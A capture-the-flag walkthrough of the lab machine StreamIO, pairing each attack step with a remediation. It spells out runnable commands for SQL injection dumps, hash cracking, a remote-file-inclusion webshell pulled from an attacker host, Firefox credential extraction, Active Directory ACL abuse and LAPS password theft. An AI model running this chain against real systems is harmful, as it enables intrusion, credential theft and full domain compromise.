StreamIO
Summary
I mapped the StreamIO domain controller's web front end through its TLS certificate, then found a UNION-based SQL injection in the movie search feature that let them bypass a keyword-blacklist WAF and dump the application's user table, including password hashes. Cracking those hashes yielded valid credentials for the admin panel, where a hidden debug parameter leaked PHP source code and revealed a remote-file-inclusion sink that gave code execution as a low-privileged domain user.
From that foothold, hardcoded database credentials in the application source unlocked a backup database holding another user's crackable password hash, and that user's saved Firefox browser credentials in turn exposed a third account. That account held a dangerous Active Directory ACL (WriteOwner) over a privileged group, which was abused to grant myself membership and, through that group's delegated LAPS-read permission, retrieve the domain controller's local Administrator password in cleartext — completing full domain compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD13="<a-password-you-choose>"
export PASSWORD7="<a-password-you-choose>"
export PASSWORD8="<a-password-you-choose>"
export PASSWORD9="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 2
openssl s_client -connect $TARGET:443 -servername streamio.htb </dev/null 2>/dev/null | openssl x509 -noout -text | grep -A1 'Subject Alternative Name'echo "$TARGET streamio.htb watch.streamio.htb dc.streamio.htb" | sudo tee -a /etc/hostsExact commands 2
curl -sk 'https://watch.streamio.htb/search.php' --data-urlencode "q=abcd' union select 1,2,3,4,5,6-- -"curl -sk 'https://watch.streamio.htb/search.php' --data-urlencode "q=abcd' union select 1,username,password,4,5,6 from streamio.dbo.users-- -"FixFix SQL injection in the movie search endpointCritical
Exact commands 1
hashcat -m 0 -a 0 streamio_hashes.txt rockyou.txtFixUse strong password hashing and enforce a stronger password policyHigh
Exact commands 3
curl -sk -c cookies.txt -b cookies.txt 'https://streamio.htb/login.php' --data-urlencode 'username=admin' --data-urlencode 'password=$PASSWORD13'ffuf -u 'https://streamio.htb/admin/index.php?FUZZ=x' -b cookies.txt -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -mc allcurl -sk -b cookies.txt 'https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=master.php' | base64 -dFixRemove the debug parameter and restrict file-read functionality in productionHigh
Exact commands 2
python3 -m http.server 80curl -sk 'https://streamio.htb/admin/?debug=master.php' -b cookies.txt --data "include=http://$ATTACKER_IP/shell.php" -G --data-urlencode 'c=whoami'FixEliminate the eval(file_get_contents()) code-execution sinkCritical
Exact commands 5
type C:\inetpub\wwwroot\admin\index.phpsqlcmd -S localhost -U db_admin -P '$PASSWORD9' -d streamio_backup -Q "select * from users"hashcat -m 0 -a 0 nikk37_hash.txt rockyou.txtevil-winrm -i $TARGET -u nikk37 -p '$PASSWORD7'type C:\Users\nikk37\Desktop\user.txtFixRemove hardcoded database credentials from application sourceHigh
Exact commands 3
download C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\*.default-release\key4.dbpython3 firepwd.py -d /path/to/profile_dirnxc smb dc.streamio.htb -u JDgodd -p '$PASSWORD8'FixPrevent browsers from persisting saved passwords for domain accountsMedium
signon.rememberSignons=false, or the enterprise policy.json 'PasswordManagerEnabled': false) on domain-joined hosts, and require a password manager with master-password protection instead. Rotate any credentials found stored in browsers.Exact commands 4
bloodhound-python -c All -u jdgodd -p '$PASSWORD8' -d streamio.htb -ns $TARGET -dc dc.streamio.htbbloodyAD -u jdgodd -p '$PASSWORD8' -d streamio.htb --host dc.streamio.htb set owner 'CORE STAFF' jdgoddbloodyAD -u jdgodd -p '$PASSWORD8' -d streamio.htb --host dc.streamio.htb add genericAll 'CORE STAFF' jdgoddbloodyAD -u jdgodd -p '$PASSWORD8' -d streamio.htb --host dc.streamio.htb add groupMember 'CORE STAFF' jdgoddFixRemove excessive WriteOwner/GenericAll rights on the CORE STAFF groupCritical
Exact commands 4
nxc ldap dc.streamio.htb -u jdgodd -p '$PASSWORD8' -M lapsevil-winrm -i $TARGET -u administrator -p '<LAPS-password>'whoamitype C:\Users\Martin\Desktop\root.txtFixRestrict the ReadLAPSPassword delegation on the domain controllerCritical
Attack patterns used
The transferable techniques behind this compromise.
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Exposed services
| 53/tcp | dns recon-sweep-discovered |
| 80/tcp | http Microsoft IIS httpd 10.0 |
| 88/tcp | unknown recon-sweep-discovered |
| 135/tcp | rpc recon-sweep-discovered |
| 139/tcp | smb recon-sweep-discovered |
| 389/tcp | ldap recon-sweep-discovered |
| 443/tcp | http recon-sweep-discovered |
| 445/tcp | smb recon-sweep-discovered |
| 464/tcp | unknown recon-sweep-discovered |
| 593/tcp | http recon-sweep-discovered |
| 636/tcp | ldap recon-sweep-discovered |
| 3268/tcp | ldap recon-sweep-discovered |
| 5985/tcp | winrm recon-sweep-discovered |
| 9389/tcp | unknown recon-sweep-discovered |
| 49667/tcp | unknown recon-sweep-discovered |
| 49677/tcp | unknown recon-sweep-discovered |
| 49678/tcp | unknown recon-sweep-discovered |
| 49704/tcp | unknown recon-sweep-discovered |
| 57885/tcp | unknown recon-sweep-discovered |
| 53/udp | domain |